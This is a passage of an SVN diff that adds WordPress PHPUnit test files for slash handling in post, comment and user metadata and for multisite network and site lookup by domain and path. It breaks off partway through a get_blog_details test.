Index: /tags/5.0.20/tests/phpunit/tests/meta/slashes.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/meta/slashes.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/meta/slashes.php	(revision 56912)
@@ -0,0 +1,242 @@
+<?php
+
+/**
+ * @group meta
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Meta_Slashes extends WP_UnitTestCase {
+	protected static $editor_id;
+	protected static $post_id;
+	protected static $comment_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$editor_id = $factory->user->create( array( 'role' => 'editor' ) );
+		self::$post_id = $factory->post->create();
+		self::$comment_id = $factory->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+	}
+
+	function setUp() {
+		parent::setUp();
+
+		wp_set_current_user( self::$editor_id );
+
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	/**
+	 * Tests the controller function that expects slashed data
+	 *
+	 */
+	function test_edit_post() {
+		$id = self::factory()->post->create();
+		if ( function_exists( 'wp_add_post_meta' ) ) {
+			$meta_1 = wp_add_post_meta( $id, 'slash_test_1', 'foo' );
+			$meta_2 = wp_add_post_meta( $id, 'slash_test_2', 'foo' );
+			$meta_3 = wp_add_post_meta( $id, 'slash_test_3', 'foo' );
+		}
+		else {
+			// expects slashed data
+			$meta_1 = add_post_meta( $id, 'slash_test_1', addslashes( 'foo' ) );
+			$meta_2 = add_post_meta( $id, 'slash_test_2', addslashes( 'foo' ) );
+			$meta_3 = add_post_meta( $id, 'slash_test_3', addslashes( 'foo' ) );
+		}
+
+		$_POST = array();
+		$_POST['post_ID'] = $id;
+		$_POST['metakeyselect'] = '#NONE#';
+		$_POST['metakeyinput'] = 'slash_test_0';
+		$_POST['metavalue'] = $this->slash_6;
+		$_POST['meta'] = array(
+			$meta_1 => array(
+				'key' => 'slash_test_1',
+				'value' => $this->slash_1
+			),
+			$meta_2 => array(
+				'key' => 'slash_test_2',
+				'value' => $this->slash_3
+			),
+			$meta_3 => array(
+				'key' => 'slash_test_3',
+				'value' => $this->slash_4
+			),
+		);
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		edit_post();
+		$post = get_post( $id );
+
+		$this->assertEquals( $this->slash_6, get_post_meta( $id, 'slash_test_0', true ) );
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+
+		$_POST = array();
+		$_POST['post_ID'] = $id;
+		$_POST['metakeyselect'] = '#NONE#';
+		$_POST['metakeyinput'] = 'slash_test_0';
+		$_POST['metavalue'] = $this->slash_7;
+		$_POST['meta'] = array(
+			$meta_1 => array(
+				'key' => 'slash_test_1',
+				'value' => $this->slash_2
+			),
+			$meta_2 => array(
+				'key' => 'slash_test_2',
+				'value' => $this->slash_4
+			),
+			$meta_3 => array(
+				'key' => 'slash_test_3',
+				'value' => $this->slash_5
+			),
+		);
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		edit_post();
+		$post = get_post( $id );
+
+		$this->assertEquals( $this->slash_2, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_5, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the legacy model function that expects slashed data
+	 *
+	 */
+	function test_add_post_meta() {
+		$id = self::factory()->post->create();
+		add_post_meta( $id, 'slash_test_1', addslashes( $this->slash_1 ) );
+		add_post_meta( $id, 'slash_test_2', addslashes( $this->slash_3 ) );
+		add_post_meta( $id, 'slash_test_3', addslashes( $this->slash_4 ) );
+
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the legacy model function that expects slashed data
+	 *
+	 */
+	function test_update_post_meta() {
+		$id = self::factory()->post->create();
+		update_post_meta( $id, 'slash_test_1', addslashes( $this->slash_1 ) );
+		update_post_meta( $id, 'slash_test_2', addslashes( $this->slash_3 ) );
+		update_post_meta( $id, 'slash_test_3', addslashes( $this->slash_4 ) );
+
+		$this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_add_comment_meta() {
+		$id = self::$comment_id;
+
+		add_comment_meta( $id, 'slash_test_1', $this->slash_1 );
+		add_comment_meta( $id, 'slash_test_2', $this->slash_3 );
+		add_comment_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_comment_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_comment_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_comment_meta( $id, 'slash_test_3', true ) );
+
+		add_comment_meta( $id, 'slash_test_4', $this->slash_2 );
+		add_comment_meta( $id, 'slash_test_5', $this->slash_4 );
+		add_comment_meta( $id, 'slash_test_6', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_comment_meta( $id, 'slash_test_4', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_comment_meta( $id, 'slash_test_5', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_comment_meta( $id, 'slash_test_6', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_update_comment_meta() {
+		$id = self::$comment_id;
+
+		add_comment_meta( $id, 'slash_test_1', 'foo' );
+		add_comment_meta( $id, 'slash_test_2', 'foo' );
+		add_comment_meta( $id, 'slash_test_3', 'foo' );
+
+		update_comment_meta( $id, 'slash_test_1', $this->slash_1 );
+		update_comment_meta( $id, 'slash_test_2', $this->slash_3 );
+		update_comment_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_comment_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_comment_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_comment_meta( $id, 'slash_test_3', true ) );
+
+		update_comment_meta( $id, 'slash_test_1', $this->slash_2 );
+		update_comment_meta( $id, 'slash_test_2', $this->slash_4 );
+		update_comment_meta( $id, 'slash_test_3', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_comment_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_comment_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_comment_meta( $id, 'slash_test_3', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_add_user_meta() {
+		$id = self::factory()->user->create();
+
+		add_user_meta( $id, 'slash_test_1', $this->slash_1 );
+		add_user_meta( $id, 'slash_test_2', $this->slash_3 );
+		add_user_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_user_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_user_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_user_meta( $id, 'slash_test_3', true ) );
+
+		add_user_meta( $id, 'slash_test_4', $this->slash_2 );
+		add_user_meta( $id, 'slash_test_5', $this->slash_4 );
+		add_user_meta( $id, 'slash_test_6', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_user_meta( $id, 'slash_test_4', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_user_meta( $id, 'slash_test_5', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_user_meta( $id, 'slash_test_6', true ) );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_update_user_meta() {
+		$id = self::factory()->user->create();
+
+		add_user_meta( $id, 'slash_test_1', 'foo' );
+		add_user_meta( $id, 'slash_test_2', 'foo' );
+		add_user_meta( $id, 'slash_test_3', 'foo' );
+
+		update_user_meta( $id, 'slash_test_1', $this->slash_1 );
+		update_user_meta( $id, 'slash_test_2', $this->slash_3 );
+		update_user_meta( $id, 'slash_test_3', $this->slash_5 );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), get_user_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), get_user_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), get_user_meta( $id, 'slash_test_3', true ) );
+
+		update_user_meta( $id, 'slash_test_1', $this->slash_2 );
+		update_user_meta( $id, 'slash_test_2', $this->slash_4 );
+		update_user_meta( $id, 'slash_test_3', $this->slash_6 );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), get_user_meta( $id, 'slash_test_1', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), get_user_meta( $id, 'slash_test_2', true ) );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), get_user_meta( $id, 'slash_test_3', true ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/meta/updateMetadata.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/meta/updateMetadata.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/meta/updateMetadata.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+
+/**
+ * @group meta
+ * @covers ::update_metadata
+ */
+class Tests_Meta_UpdateMetadata extends WP_UnitTestCase {
+	/**
+	 * @ticket 35795
+	 */
+	public function test_slashed_key_for_new_metadata() {
+		update_metadata( 'post', 123, wp_slash( 'foo\foo' ), 'bar' );
+
+		$found = get_metadata( 'post', 123, 'foo\foo', true );
+		$this->assertSame( 'bar', $found );
+	}
+
+	/**
+	 * @ticket 35795
+	 */
+	public function test_slashed_key_for_existing_metadata() {
+		global $wpdb;
+
+		add_metadata( 'post', 123, wp_slash( 'foo\foo' ), 'bar' );
+		update_metadata( 'post', 123, wp_slash( 'foo\foo' ), 'baz' );
+
+		$found = get_metadata( 'post', 123, 'foo\foo', true );
+		$this->assertSame( 'baz', $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/multisite.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite.php	(revision 56912)
@@ -0,0 +1,39 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * A set of unit tests for WordPress Multisite
+ *
+ * @group multisite
+ */
+class Tests_Multisite extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	function tearDown() {
+		global $wpdb;
+		parent::tearDown();
+		$wpdb->suppress_errors( $this->suppress );
+	}
+
+	function test_wpmu_log_new_registrations() {
+		global $wpdb;
+
+		$user = new WP_User( 1 );
+		$ip = preg_replace( '/[^0-9., ]/', '',$_SERVER['REMOTE_ADDR'] );
+
+		wpmu_log_new_registrations(1,1);
+
+		// currently there is no wrapper function for the registration_log
+		$reg_blog = $wpdb->get_col( "SELECT email FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.blog_id = 1 AND IP LIKE '" . $ip . "'" );
+		$this->assertEquals( $user->user_email, $reg_blog[ count( $reg_blog )-1 ] );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/bootstrap.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/bootstrap.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/bootstrap.php	(revision 56912)
@@ -0,0 +1,291 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to the bootstrap process of Multisite.
+ *
+ * @group ms-bootstrap
+ * @group multisite
+ */
+class Tests_Multisite_Bootstrap extends WP_UnitTestCase {
+	protected static $network_ids;
+	protected static $site_ids;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$network_ids = array(
+			'wordpress.org/'         => array( 'domain' => 'wordpress.org', 'path' => '/' ),
+			'make.wordpress.org/'    => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+			'wordpress.org/one/'     => array( 'domain' => 'wordpress.org', 'path' => '/one/' ),
+			'wordpress.org/one/b/'   => array( 'domain' => 'wordpress.org', 'path' => '/one/b/' ),
+			'wordpress.net/'         => array( 'domain' => 'wordpress.net', 'path' => '/' ),
+			'www.wordpress.net/'     => array( 'domain' => 'www.wordpress.net', 'path' => '/' ),
+			'www.wordpress.net/two/' => array( 'domain' => 'www.wordpress.net', 'path' => '/two/' ),
+			'wordpress.net/three/'   => array( 'domain' => 'wordpress.net', 'path' => '/three/' ),
+		);
+
+		foreach ( self::$network_ids as &$id ) {
+			$id = $factory->network->create( $id );
+		}
+		unset( $id );
+
+		self::$site_ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',      'path' => '/',         'site_id' => self::$network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',      'path' => '/foo/',     'site_id' => self::$network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/bar/'      => array( 'domain' => 'wordpress.org',      'path' => '/foo/bar/', 'site_id' => self::$network_ids['wordpress.org/'] ),
+			'make.wordpress.org/'         => array( 'domain' => 'make.wordpress.org', 'path' => '/',         'site_id' => self::$network_ids['make.wordpress.org/'] ),
+			'make.wordpress.org/foo/'     => array( 'domain' => 'make.wordpress.org', 'path' => '/foo/',     'site_id' => self::$network_ids['make.wordpress.org/'] ),
+			'www.w.org/'                  => array( 'domain' => 'www.w.org',          'path' => '/' ),
+			'www.w.org/foo/'              => array( 'domain' => 'www.w.org',          'path' => '/foo/' ),
+			'www.w.org/foo/bar/'          => array( 'domain' => 'www.w.org',          'path' => '/foo/bar/' ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		global $wpdb;
+
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		foreach( self::$network_ids as $id ) {
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->sitemeta} WHERE site_id = %d", $id ) );
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->site} WHERE id= %d", $id ) );
+		}
+
+		wp_update_network_site_counts();
+	}
+
+	/**
+	 * @ticket 27003
+	 * @dataProvider data_get_network_by_path
+	 *
+	 * @param string $expected_key The array key associated with expected data for the test.
+	 * @param string $domain       The requested domain.
+	 * @param string $path         The requested path.
+	 * @param string $message      The message to pass for failed tests.
+	 */
+	function test_get_network_by_path( $expected_key, $domain, $path, $message ) {
+		$network = get_network_by_path( $domain, $path );
+		$this->assertEquals( self::$network_ids[ $expected_key ], $network->id, $message );
+	}
+
+	public function data_get_network_by_path() {
+		return array(
+			array( 'wordpress.org/',         'wordpress.org',       '/',          'A standard domain and path request should work.' ),
+			array( 'wordpress.net/',         'wordpress.net',       '/notapath/', 'A missing path on a top level domain should find the correct network.' ),
+			array( 'www.wordpress.net/',     'www.wordpress.net',   '/notapath/', 'A missing path should find the correct network.' ),
+			array( 'wordpress.org/one/',     'www.wordpress.org',   '/one/',      'Should find the path despite the www.' ),
+			array( 'wordpress.org/one/',     'wordpress.org',       '/one/page/', 'A request with two path segments should find the correct network.' ),
+			array( 'wordpress.org/one/b/',   'wordpress.org',       '/one/b/',    'A request with two valid path segments should find the correct network.' ),
+			array( 'wordpress.org/',         'site1.wordpress.org', '/one/',      'Should not find path because domains do not match.' ),
+			array( 'wordpress.net/three/',   'wordpress.net',       '/three/',    'A network can have a path.' ),
+			array( 'www.wordpress.net/two/', 'www.wordpress.net',   '/two/',      'A www network with a path can coexist with a non-www network.' ),
+			array( 'wordpress.net/',         'site1.wordpress.net', '/notapath/', 'An invalid subdomain should find the top level network domain.' ),
+			array( 'wordpress.net/',         'site1.wordpress.net', '/three/',    'An invalid subdomain and path should find the top level network domain.' ),
+			array( 'wordpress.net/',         'x.y.wordpress.net',   '/',          'An invalid two level subdomain should find the top level network domain.' ),
+		);
+	}
+
+	/**
+	 * @ticket 37217
+	 * @dataProvider data_get_network_by_path_with_zero_path_segments
+	 *
+	 * @param string $expected_key The array key associated with expected data for the test.
+	 * @param string $domain       The requested domain.
+	 * @param string $path         The requested path.
+	 * @param string $message      The message to pass for failed tests.
+	 */
+	public function test_get_network_by_path_with_zero_path_segments( $expected_key, $domain, $path, $message ) {
+		add_filter( 'network_by_path_segments_count', '__return_zero' );
+
+		$network = get_network_by_path( $domain, $path );
+
+		remove_filter( 'network_by_path_segments_count', '__return_zero' );
+
+		$this->assertEquals( self::$network_ids[ $expected_key ], $network->id, $message );
+	}
+
+	public function data_get_network_by_path_with_zero_path_segments() {
+		return array(
+			array( 'wordpress.org/',         'wordpress.org',       '/',          'A standard domain and path request should work.' ),
+			array( 'wordpress.net/',         'wordpress.net',       '/notapath/', 'A network matching a top level domain should be found regardless of path.' ),
+			array( 'www.wordpress.net/',     'www.wordpress.net',   '/notapath/', 'A network matching a domain should be found regardless of path.' ),
+			array( 'wordpress.org/',         'www.wordpress.org',   '/one/',      'Should find the network despite the www and regardless of path.' ),
+			array( 'wordpress.org/',         'site1.wordpress.org', '/one/',      'Should find the network with the corresponding top level domain regardless of path.' ),
+			array( 'www.wordpress.net/',     'www.wordpress.net',   '/two/',      'A www network can coexist with a non-www network.' ),
+			array( 'make.wordpress.org/',    'make.wordpress.org',  '/notapath/', 'A subdomain network should be found regardless of path.' ),
+			array( 'wordpress.net/',         'x.y.wordpress.net',   '/',          'An invalid two level subdomain should find the top level network domain.' ),
+		);
+	}
+
+	/**
+	 * Even if a matching network is available, it should not match if the the filtered
+	 * value for network path segments is fewer than the number of paths passed.
+	 */
+	public function test_get_network_by_path_with_forced_single_path_segment_returns_single_path_network() {
+		add_filter( 'network_by_path_segments_count', array( $this, 'filter_network_path_segments' ) );
+		$network = get_network_by_path( 'wordpress.org', '/one/b/' );
+		remove_filter( 'network_by_path_segments_count', array( $this, 'filter_network_path_segments' ) );
+
+		$this->assertEquals( self::$network_ids[ 'wordpress.org/one/' ], $network->id );
+	}
+
+	public function filter_network_path_segments() {
+		return 1;
+	}
+
+	/**
+	 * @ticket 27003
+	 * @ticket 27927
+	 * @dataProvider data_get_site_by_path
+	 *
+	 * @param string $expected_key The array key associated with expected data for the test.
+	 * @param string $domain       The requested domain.
+	 * @param string $path         The requested path.
+	 * @param int    $segments     Optional. Number of segments to use in `get_site_by_path()`.
+	 */
+	public function test_get_site_by_path( $expected_key, $domain, $path, $segments = null ) {
+		$site = get_site_by_path( $domain, $path, $segments );
+
+		if ( $expected_key ) {
+			$this->assertEquals( self::$site_ids[ $expected_key ], $site->blog_id );
+		} else {
+			$this->assertFalse( $site );
+		}
+	}
+
+	public function data_get_site_by_path() {
+		return array(
+			array( 'wordpress.org/',          'wordpress.org',          '/notapath/' ),
+			array( 'wordpress.org/',          'www.wordpress.org',      '/notapath/' ),
+			array( 'wordpress.org/foo/bar/',  'wordpress.org',          '/foo/bar/baz/' ),
+			array( 'wordpress.org/foo/bar/',  'www.wordpress.org',      '/foo/bar/baz/' ),
+			array( 'wordpress.org/foo/bar/',  'wordpress.org',          '/foo/bar/baz/',     3 ),
+			array( 'wordpress.org/foo/bar/',  'www.wordpress.org',      '/foo/bar/baz/',     3 ),
+			array( 'wordpress.org/foo/bar/',  'wordpress.org',          '/foo/bar/baz/',     2 ),
+			array( 'wordpress.org/foo/bar/',  'www.wordpress.org',      '/foo/bar/baz/',     2 ),
+			array( 'wordpress.org/foo/',      'wordpress.org',          '/foo/bar/baz/',     1 ),
+			array( 'wordpress.org/foo/',      'www.wordpress.org',      '/foo/bar/baz/',     1 ),
+			array( 'wordpress.org/',          'wordpress.org',          '/',                 0 ),
+			array( 'wordpress.org/',          'www.wordpress.org',      '/',                 0 ),
+			array( 'make.wordpress.org/foo/', 'make.wordpress.org',     '/foo/bar/baz/quz/', 4 ),
+			array( 'make.wordpress.org/foo/', 'www.make.wordpress.org', '/foo/bar/baz/quz/', 4 ),
+			array( 'www.w.org/',              'www.w.org',              '/',                 0 ),
+			array( 'www.w.org/',              'www.w.org',              '/notapath' ),
+			array( 'www.w.org/foo/bar/',      'www.w.org',              '/foo/bar/baz/' ),
+			array( 'www.w.org/foo/',          'www.w.org',              '/foo/bar/baz/',     1 ),
+
+			// A site installed with www will not be found by the root domain.
+			array( false, 'w.org', '/' ),
+			array( false, 'w.org', '/notapath/' ),
+			array( false, 'w.org', '/foo/bar/baz/' ),
+			array( false, 'w.org', '/foo/bar/baz/', 1 ),
+
+			// A site will not be found by its root domain when an invalid subdomain is requested.
+			array( false, 'invalid.wordpress.org', '/' ),
+			array( false, 'invalid.wordpress.org', '/foo/bar/' ),
+		);
+	}
+
+	/**
+	 * @ticket 27884
+	 * @dataProvider data_multisite_bootstrap
+	 *
+	 * @param string $site_key    The array key associated with the expected site for the test.
+	 * @param string $network_key The array key associated with the expected network for the test.
+	 * @param string $domain      The requested domain.
+	 * @param string $path        The requested path.
+	 */
+	function test_multisite_bootstrap( $site_key, $network_key, $domain, $path ) {
+		global $current_blog;
+
+		$expected = array(
+			'network_id' => self::$network_ids[ $network_key ],
+			'site_id' => self::$site_ids[ $site_key ],
+		);
+
+		ms_load_current_site_and_network( $domain, $path );
+		$actual = array(
+			'network_id' => $current_blog->site_id,
+			'site_id' => $current_blog->blog_id,
+		);
+		ms_load_current_site_and_network( WP_TESTS_DOMAIN, '/' );
+
+		$this->assertEqualSetsWithIndex( $expected, $actual );
+	}
+
+	public function data_multisite_bootstrap() {
+		return array(
+			array( 'wordpress.org/',          'wordpress.org/',      'wordpress.org',      '/' ),
+			array( 'wordpress.org/',          'wordpress.org/',      'wordpress.org',      '/2014/04/23/hello-world/' ),
+			array( 'wordpress.org/',          'wordpress.org/',      'wordpress.org',      '/sample-page/' ),
+			array( 'wordpress.org/',          'wordpress.org/',      'wordpress.org',      '/?p=1' ),
+			array( 'wordpress.org/',          'wordpress.org/',      'wordpress.org',      '/wp-admin/' ),
+			array( 'wordpress.org/foo/',      'wordpress.org/',      'wordpress.org',      '/foo/' ),
+			array( 'wordpress.org/foo/',      'wordpress.org/',      'wordpress.org',      '/FOO/' ),
+			array( 'wordpress.org/foo/',      'wordpress.org/',      'wordpress.org',      '/foo/2014/04/23/hello-world/' ),
+			array( 'wordpress.org/foo/',      'wordpress.org/',      'wordpress.org',      '/foo/sample-page/' ),
+			array( 'wordpress.org/foo/',      'wordpress.org/',      'wordpress.org',      '/foo/?p=1' ),
+			array( 'wordpress.org/foo/',      'wordpress.org/',      'wordpress.org',      '/foo/wp-admin/' ),
+			array( 'make.wordpress.org/',     'make.wordpress.org/', 'make.wordpress.org', '/' ),
+			array( 'make.wordpress.org/foo/', 'make.wordpress.org/', 'make.wordpress.org', '/foo/' ),
+		);
+	}
+
+	/**
+	 * @ticket 27884
+	 */
+	public function test_multisite_bootstrap_additional_path_segments() {
+		global $current_blog;
+
+		$expected = array(
+			'network_id' => self::$network_ids['wordpress.org/'],
+			'site_id'    => self::$site_ids['wordpress.org/foo/bar/'],
+		);
+		add_filter( 'site_by_path_segments_count', array( $this, 'filter_path_segments_to_two' ) );
+		ms_load_current_site_and_network( 'wordpress.org', '/foo/bar/' );
+		$actual = array(
+			'network_id' => $current_blog->site_id,
+			'site_id' => $current_blog->blog_id,
+		);
+		remove_filter( 'site_by_path_segments_count', array( $this, 'filter_path_segments_to_two' ) );
+		ms_load_current_site_and_network( WP_TESTS_DOMAIN, '/' );
+
+		$this->assertEqualSetsWithIndex( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 37053
+	 */
+	public function test_get_site_by_path_returns_wp_site() {
+		add_filter( 'pre_get_site_by_path', array( $this, 'filter_pre_get_site_by_path' ), 10, 3 );
+
+		$site = get_site_by_path( 'example.com', '/foo/' );
+
+		remove_filter( 'pre_get_site_by_path', array( $this, 'filter_pre_get_site_by_path' ), 10 );
+
+		$this->assertInstanceOf( 'WP_Site', $site );
+	}
+
+	public function filter_path_segments_to_two() {
+		return 2;
+	}
+
+	public function filter_pre_get_site_by_path( $site, $domain, $path ) {
+		$site = new stdClass();
+		$site->blog_id = 100;
+		$site->domain = $domain;
+		$site->path = $path;
+		$site->site_id = 1;
+
+		return $site;
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/getBlogDetails.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/getBlogDetails.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/getBlogDetails.php	(revision 56912)
@@ -0,0 +1,186 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @ticket 29845
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Get_Blog_Details extends WP_UnitTestCase {
+	protected static $network_ids;
+	protected static $site_ids;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$site_ids = array(
+			WP_TESTS_DOMAIN . '/foo/'      => array( 'domain' => WP_TESTS_DOMAIN,          'path' => '/foo/'),
+			'foo.' . WP_TESTS_DOMAIN . '/' => array( 'domain' => 'foo.' . WP_TESTS_DOMAIN, 'path' => '/' ),
+			'wordpress.org/'               => array( 'domain' => 'wordpress.org',          'path' => '/' ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		wp_update_network_site_counts();
+	}
+
+	public function test_get_blog_details_with_no_arguments_returns_current_site() {
+		$site = get_blog_details();
+		$this->assertEquals( get_current_blog_id(), $site->blog_id );
+	}
+
+	public function test_get_blog_details_with_site_name_string_subdirectory() {
+		if ( is_subdomain_install() ) {
+			$this->markTestSkipped( 'This test is only valid in a subdirectory configuration.' );
+		}
+
+		$site = get_blog_details( 'foo' );
+		$this->assertEquals( self::$site_ids[ WP_TESTS_DOMAIN . '/foo/'], $site->blog_id );
+	}
+
+	public function test_get_blog_details_with_site_name_string_subdomain() {
+		if ( ! is_subdomain_install() ) {
+			$this->markTestSkipped( 'This test is only valid in a subdomain configuration.' );
+		}
+
+		$site = get_blog_details( 'foo' );
+		$this->assertEquals( self::$site_ids[ 'foo.' . WP_TESTS_DOMAIN . '/' ], $site->blog_id );
+	}
+
+	public function test_get_blog_details_with_invalid_site_name_string() {
+		$site = get_blog_details( 'invalid' );
+		$this->assertFalse( $site );
+	}
+
+	public function test_get_blog_details_with_site_id_int() {
+		$site = get_blog_details( self::$site_ids['wordpress.org/'] );
+		$this->assertEquals( self::$site_ids['wordpress.org/'], $site->blog_id );
+	}
+
+	public function test_get_blog_details_with_invalid_site_id_int() {
+		$site = get_blog_details( 99999 );
+		$this->assertFalse( $site );
+	}
+
+	public function test_get_blog_details_with_blog_id_in_fields() {
+		$site = get_blog_details( array( 'blog_id' => self::$site_ids['wordpress.org/'] ) );
+		$this->assertEquals( self::$site_ids['wordpress.org/'], $site->blog_id );
+	}
+
+	public function test_get_blog_details_with_invalid_blog_id_in_fields() {
+		$site = get_blog_details( array( 'blog_id' => 88888 ) );
+		$this->assertFalse( $site );
+	}
+
+	public function test_get_blog_details_with_domain_and_path_in_fields() {
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/' ) );
+		$this->assertEquals( self::$site_ids['wordpress.org/'], $site->blog_id );
+	}
+
+	public function test_get_blog_details_with_domain_and_invalid_path_in_fields() {
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/zxy/' ) );
+		$this->assertFalse( $site );
+	}
+
+	public function test_get_blog_details_with_path_and_invalid_domain_in_fields() {
+		$site = get_blog_details( array( 'domain' => 'invalid.org', 'path' => '/foo/' ) );
+		$this->assertFalse( $site );
+	}
+
+	public function test_get_blog_details_with_only_domain_in_fields_subdomain() {
+		if ( ! is_subdomain_install() ) {
+			$this->markTestSkipped( 'This test is only valid in a subdomain configuration.' );
+		}
+
+		$site = get_blog_details( array( 'domain' => 'wordpress.org' ) );
+		$this->assertEquals( self::$site_ids['wordpress.org/'], $site->blog_id );
+	}
+
+	public function test_get_blog_details_with_only_domain_in_fields_subdirectory() {
+		if ( is_subdomain_install() ) {
+			$this->markTestSkipped( 'This test is only valid in a subdirectory configuration.' );
+		}
+
+		$site = get_blog_details( array( 'domain' => 'wordpress.org' ) );
+		$this->assertFalse( $site );
+	}
+
+	public function test_get_blog_details_with_only_path_in_fields() {
+		$site = get_blog_details( array( 'path' => '/foo/' ) );
